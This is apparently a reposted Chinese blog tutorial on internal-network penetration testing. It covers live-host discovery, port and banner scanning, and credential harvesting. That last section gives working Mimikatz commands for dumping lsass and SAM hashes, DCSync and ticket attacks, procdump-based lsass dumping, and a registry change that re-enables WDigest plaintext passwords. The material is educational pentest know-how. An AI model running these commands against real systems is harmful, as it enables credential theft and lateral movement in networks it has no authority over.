10月2日笔记(内网资源探测篇)

news2024/12/23 22:38:24

内网资源探测

在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。这些信息可以帮助测试人员发现内网的薄弱资源,确定后续的攻击方向。

发现内网存活主机

基于ICMP发现存活主机

可以使用ICMP循环对整个网段中的每个IP地址执行ping命令,所以能够ping通的ip地址即为内网中存活的主机。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="

说明该局域网C段存活三台主机。

基于NetBIOS(网络基本输入/输出系统)协议发现存活主机

NetBIOS提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WTNS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在Windows中,默认安装TCP/IP后会自动安装NetBIOS。

在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的P地址、NetBIOS计算机名、登录用户名和MAC地址。

下载链接:nbtscan下载

将nbscan.exe上传到目标主机,执行以下命令:

nbscan.exe 192.168.52.1/24

基于UDP发现存活主机

在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。

Unicornscan是Kali Linux平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过UDP协议扫描内网的存活主机。

unicornscan -mU 192.168.52.0/24

基于ARP发现存活主机

ARP(Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该P地址和物理地址存入本机ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。

在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。

1、ARP-Scan的使用

ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机。

项目:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan

执行以下命令,即可扫描内网中存活的主机。

arp-scan.exe -t 192.168.52.0/24

2、PowerShell的利用

脚本地址:git/Invoke-ARPScan.ps1 at master · sinmygit/git · GitHub

Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机。使用时,需要将脚本导入执行:

Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.52.0/24

发现无法执行脚本,以管理员的身份打开powershell。执行以下命令:

set-ExecutionPolicy RemoteSigned

更改策略之后就不会报错了。

基于SMB(Server Message Block,服务器消息块)协议发现存活主机

SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。

在实际利用中,可以探测局域网中存在的SMB服务,从而发现更多的存活主机。多用于windows主机的发现。

CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WNRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性。执行以下命令:

crackmapexec smb 193.168.52.0/24

探测局域网中存在的SMB服务,从而发现内网中的存活主机。

内网端口扫描

1、使用telnet探测端口

Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。

telnet <IP> <Port>

像这种就是说明对应的端口是开放的。

2、使用nmap进行端口扫描

扫描指定端口:

nmap -p <Port> <ip>
eg:nmap -p 80,88,135,139,443,8080,3306,3389 192.168.52.138

扫描目标主机全部开发端口:

nmap -p 1-65535 -sS 192.168.52.138

利用MetaSploit探测内网

获取端口Banner信息

Banner中可能包含一些敏感信息。通过查看端口的Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。

1、利用Netcat(nc)获取端口Banner

通过指定netcat的“nv”选项,可以在连接指定的端口时获取该端口的Banner信息。

nc -nv <ip> <port>

我这里的是没有这个提示,但是有些端口可能会有。

2、利用Telnet获取端口Banner

如果端口开放,使用telnet连接后,也会返回相应的Banner信息。

telnet <IP> <Port>

3、利用nmap获取端口Banner

在nmap中指定脚本“–script=banner”,可以在端口扫描过程中获取端口的Banner信息。

nmap --script=banner -p <ports> <IP>

用户凭据收集

当测试人员获取某台机器后,会以被攻陷的主机为跳板进行横向渗透,进一步扩大所掌控的资源范围。但是横向渗透中的很多攻击都需要先获取到域内用户的密码或者哈希值才能进行,如:哈希传递攻击、票据传递攻击等。所以在进行信息收集时,要尽可能收集域内用户的登录凭据等信息。

获取域内单机密码和哈希值

SAM文件是什么?lsass.exe系统进程的作用?

在Windows中,**SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System3\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。**用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值对比,若相同,则认证成功。**lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。**在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。

用于获取主机的用户密码和哈希值的工具大多都是通过多去SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多都需要管理员权限,意味着需要配合一些提权操作。

Mimikatz工具的使用

Mimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域

项目地址:https://github.com/gentilkiwi/mimikatz/

Mimikatz使用教程

privilege(提权相关模块)

attention:privilege::debug进入mimikatz命令交互界面的首要操作,也是最基本的操作。

privilege::security     //调整为安全权限 
privilege::restore      //恢复原来权限 
privilege::sysenv       //调整为系统环境权限 
privilege::driver       //调整为装载驱动权限

sekurlsa(与用户凭证相关的模块,可以从lsass进程中提取passwords、keys、tickets等信息)

sekurlsa::msv      //读取用户对应密码的各种加密协议的密文(NTML、SHA1等),低版本windows可以读取为明文
sekurlsa::wdigest     //wdigest凭证,运用程序漏洞可逆的手法去读取密码明文
sekurlsa::tspkg       //tspkg凭证

sekurlsa::logonpasswords    //常用并重点使用!!!直接集成上面多条指令功能,读取用户各种凭证和信息。

sekurlsa::tickets                 //列出kerberos中的票据
sekurlsa::tickets /export         //导出票据

#下面两条命令结合使用,可以将转储的lsass进程为lsass.dmp文件,离线读取内存信息
sekurlsa::minidump <filename>或lsass.dump      //加载对应文件(lsass.dump)
sekurlsa::logonPasswords full        //读取文件信息
kerberos 协议相关模块(常用于 黄金/白银票据)
kerberos::list      //列出系统中的所有票据
kerberos::purge     //清除系统中的票据
kerberos::ptt       //pass-the-ticket,票据传递攻击(内网横移操作)
kerberos::golden    //伪造黄金和白银票据使用,具体构造方法不相同

kerberos::ptc      //票据路径
kerberos::ptc <票据名>    //导入票据

process(进程模块)

process::list      //列出进程列表
process::exports      //导出进程列表
process::start      //开始一个进程
process::stop      //停止一个进程

service(服务管理模块)

service::start         //开始服务。
service::remove        //移除服务。
service::stop         //停止服务。
service::suspend        //暂停服务。
service::resume         //恢复服务。
service::preshutdown    //关闭服务。
service::shutdown       //关闭服务。
service::list           //列出服务。

lsadump(对域控操作模块)

Lsadump::secrets       //从registry获取保存的密码凭据,可以直接获取明文密码。
lsadump::lsa /patch     //读取所有用户的哈希
lsadump::sam      //sam表获取Hash
lsadump::dcsync      //通过dcsync利用目录复制服务(DRS)从NTDS.DIT文件中拿到密码哈希值(在域控权限下获取)
lsadump::dcsync /domain:xxxx.com /user:xxxx       //查看域内指定用户信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv       //查看所有域用户
1、在线读取lsass进程内存

上传mimikatz.exe到目标主机之后。

mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit 

2、离线读取lsass内存文件

mimikatz无法上传到目标主机,可以使用Procdump工具进行进程离线存储成dmp文件。

项目地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

首先在目标主机上传Prodump程序(微软的不会杀掉),执行以下命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后在攻击机上执行一下命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

注意:微软在2014年5月发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows Server20l2及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码。

开启WDigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭WDigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在线读取本地SAM文件

将mimikatz.exe上传到目标主机后执行以下命令:

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

token::elevate------------用于提升至SYSTEM权限

读取SAM文件中保存的用户登录凭据,可以导出当前系统重所有本地用户的哈希值。

离线读取本地的SAM文件

离线读取就是将SAM文件导出,使用Mimikatz加载并读取其中的用户登录凭据等信息。注意,为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。

在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。

脚本地址:PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1 at master · PowerShellMafia/PowerSploit · GitHub

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM

也可以在管理员权限下执行命令:通过保存注册表的方式导出

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2185351.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

典型模拟滤波器

典型模拟滤波器的幅度函数描述了滤波器在不同频率下的幅度响应特性。 巴特沃斯滤波器&#xff08;Butterworth Filter&#xff09; 幅度平方函数&#xff1a; ∣ H ( j Ω ) ∣ 2 1 1 ( Ω Ω c ) 2 N |H(j\Omega)|^2 \frac{1}{1 \left(\frac{\Omega}{\Omega_c}\right)^{…

【leetcode】 45.跳跃游戏 ||

如果我们「贪心」地进行正向查找&#xff0c;每次找到可到达的最远位置&#xff0c;就可以在线性时间内得到最少的跳跃次数。 例如&#xff0c;对于数组 [2,3,1,2,4,2,3]&#xff0c;初始位置是下标 0&#xff0c;从下标 0 出发&#xff0c;最远可到达下标 2。下标 0 可到达的…

Python(三)——列表

文章目录 创建列表访问下标遍历列表元素新增元素查找元素删除元素连接列表切片操作 创建列表 创建列表主要有两种方式 [ ]表示一个空的列表 a [] print(type(a)) # <class list> print(a) # []通过list()的方式来创建一个空列表 a list() print(type(a)) # …

Java中的switch分支结构

switch分支结构 switch分支结构1.基本语法2.说明3.流程图4.案例5.注意事项6.练习7.switch和if的比较 switch分支结构 1.基本语法 switch&#xff08;表达式&#xff09;{case 常量1: //当...语句块1;break;case 常量2: 语句块2;break;...case 常量n: 语句块n;break;defaul…

python之认识变量

1、变量 1.1、定义 字面意思来看&#xff0c;会发生改变的量称为变量。 相反的&#xff0c;如果有一个不会发生改变的量&#xff0c;它应该称为不变量&#xff0c;即常量。 1.2、引入变量的原因 主要是为了方便程序员动态的管理、操控数据。 1.3、变量的三要素 名称 类型…

20_Python的包和模块

包和模块 在Python中&#xff0c;包和模块是用来组织代码的一种方式。它们可以帮助开发者管理代码结构&#xff0c;使得代码更易于维护和复用。 内置的包和模块第三方包和模块自定义包和模块 模块(Module) 模块是包含Python定义和语句的文件。一个模块就是一个单独的Python…

GO网络编程(一):基础知识

1. 网络编程的基础概念 TCP/IP 协议栈 TCP/IP 是互联网通信的核心协议栈&#xff0c;分为以下四个层次&#xff1a; 应用层&#xff08;Application Layer&#xff09;&#xff1a;为应用程序提供网络服务的协议&#xff0c;比如 HTTP、FTP、SMTP 等。传输层&#xff08;Tra…

颠覆声音转换!Seed-VC零样本模仿技术揭秘

颠覆声音转换&#xff01;Seed-VC零样本模仿技术揭秘 Seed-VC是一款炫酷的AI声音转换工具&#x1f3a4;&#xff0c;能瞬间模仿明星和角色的声音✨&#xff01;它具备“零样本”学习能力&#xff0c;且支持变速&#xff0c;轻松带来自然流畅的音效&#x1f3b6;。绝对是声音创…

提升银行CRM系统安全性,实践指南

Zoho 银行CRM系统安全措施包括访问控制、数据加密、安全审计、防火墙、物理安全、应急响应和用户教育。这些措施保护客户信息和银行运营安全&#xff0c;需持续更新以应对安全挑战。 1、系统访问控制 系统访问控制是保障银行CRM系统安全的首要步骤。银行需要确保只有授权的用户…

fiddler抓包15_AutoResponder自动重定向 - 篡改响应

课程大纲 ① 抓取请求&#xff0c;保存response到本地 双击列表请求项查看详情 - 响应区“文本查看”&#xff0c;点击“用笔记本打开”&#xff0c;另存文件。 ② 修改保存的response文件 ③ 开启自动重定向&#xff0c;配置规则 拖拽录制的请求到右侧&#xff0c;选择本地已修…

Mysql 索引底层数据结构和算法

索引数据结构 索引&#xff08;index&#xff09;是帮助MySQL高效获取数据的一种有序数据结构。索引是存储到表空间中&#xff0c;当我们的 sql 中的where条件用到索引的时候&#xff0c;会在存储层就过滤出数据来&#xff0c;如果不走索引&#xff0c;则需要在server层过滤。 …

【YOLO目标检测电梯间电动车与人数据集】共4321张、已标注txt格式、有训练好的yolov5的模型

目录 说明图片示例 说明 数据集格式&#xff1a;YOLO格式 图片数量&#xff1a;4321 标注数量(txt文件个数)&#xff1a;4321 标注类别数&#xff1a;2 标注类别名称&#xff1a;person、electricBicycle 数据集下载&#xff1a;电梯间电动车与人数据集 图片示例 数据…

大厂进阶之CSS死磕牢记的7大知识点

本文主要讨论7大CSS知识点&#xff0c;个个都是金刚附体&#xff0c;干货满满&#xff1a; 1、移动端样式适配 2、回流和重绘 3、flex布局 4、BFC 5、CSS垂直居中方法 6、CSS两栏、三栏自适应布局 7、CSS单行、多行文本溢出省略号格式 一、如何做到移动端样式适配 1、媒体查询…

Python 从入门到实战32(数据库MySQL)

我们的目标是&#xff1a;通过这一套资料学习下来&#xff0c;通过熟练掌握python基础&#xff0c;然后结合经典实例、实践相结合&#xff0c;使我们完全掌握python&#xff0c;并做到独立完成项目开发的能力。 上篇文章我们讨论了数据库编程接口操作的相关知识。今天我们将学习…

Java Servlet 详解

Java Servlet 是 Java 企业级应用 中的一个核心组件&#xff0c;特别是在 Web 应用开发中&#xff0c;它为服务器端处理请求提供了基础。每次用户发出请求时&#xff0c;Servlet 都会动态生成响应&#xff0c;这在构建复杂、交互式的 Web 应用时尤为重要。 什么是 Servlet&am…

快餐时代读快书,十分钟左右就能读懂一本书

在这个快节奏的时代&#xff0c;时间似乎永远不够用。我们忙于工作、学习&#xff0c;往往连一本书都难以静下心来读完。不过&#xff0c;现在有了一个超级高效的读书网站&#xff0c;能让你在十分钟左右读懂一本书的精华&#xff0c;真是太棒了&#xff01; 发现高效阅读的网…

Java的学习(语法相关)

字符串存储的问题 char 和字符串都是字符的集合&#xff0c;它们之间的确有相似性&#xff0c;但在 Java 中它们有着不同的存储机制和处理方式。让我从 char 和 String 的本质区别入手来解释。 1. char 和 String 的区别 char 是基本类型&#xff1a;char 是 Java 中的基本数据…

Linux高级编程_27_系统调用

文章目录 系统调用函数分类系统编程概述系统调用概述**类UNIX系统的软件层次** 用户态和内核态系统调用与库函数的关系文件操作符概述文件磁盘权限 系统调用之文件操作open:打开文件close:关闭文件write:写入read:读取 文件状态fcntl 函数stat 函数 st_mode的值示例 1&#xff…

光通信——FTTx

目录 FTTH模式 FTTO模式 FTTR模式 FTTB/CLAN/xDSL模式 FTTCabxDSL模式 根据接入光纤到用户的距离分类&#xff0c;PON可应用于光纤到交接箱&#xff08;FTTCab&#xff09;、光纤到大楼/路边&#xff08;FTTB/C&#xff09;、光纤到办公室&#xff08;FTTO&#xff0…

鸿蒙harmonyos next flutter混合开发之开发package

​​​​​​ 创建 package flutter create --templatepackage mypackage package代码如下&#xff1a; 创建hello_world.dart ///HelloWorld返回hello world 拼接param class HelloWorld {String helloWorld(String param) > "hello world ${param}"…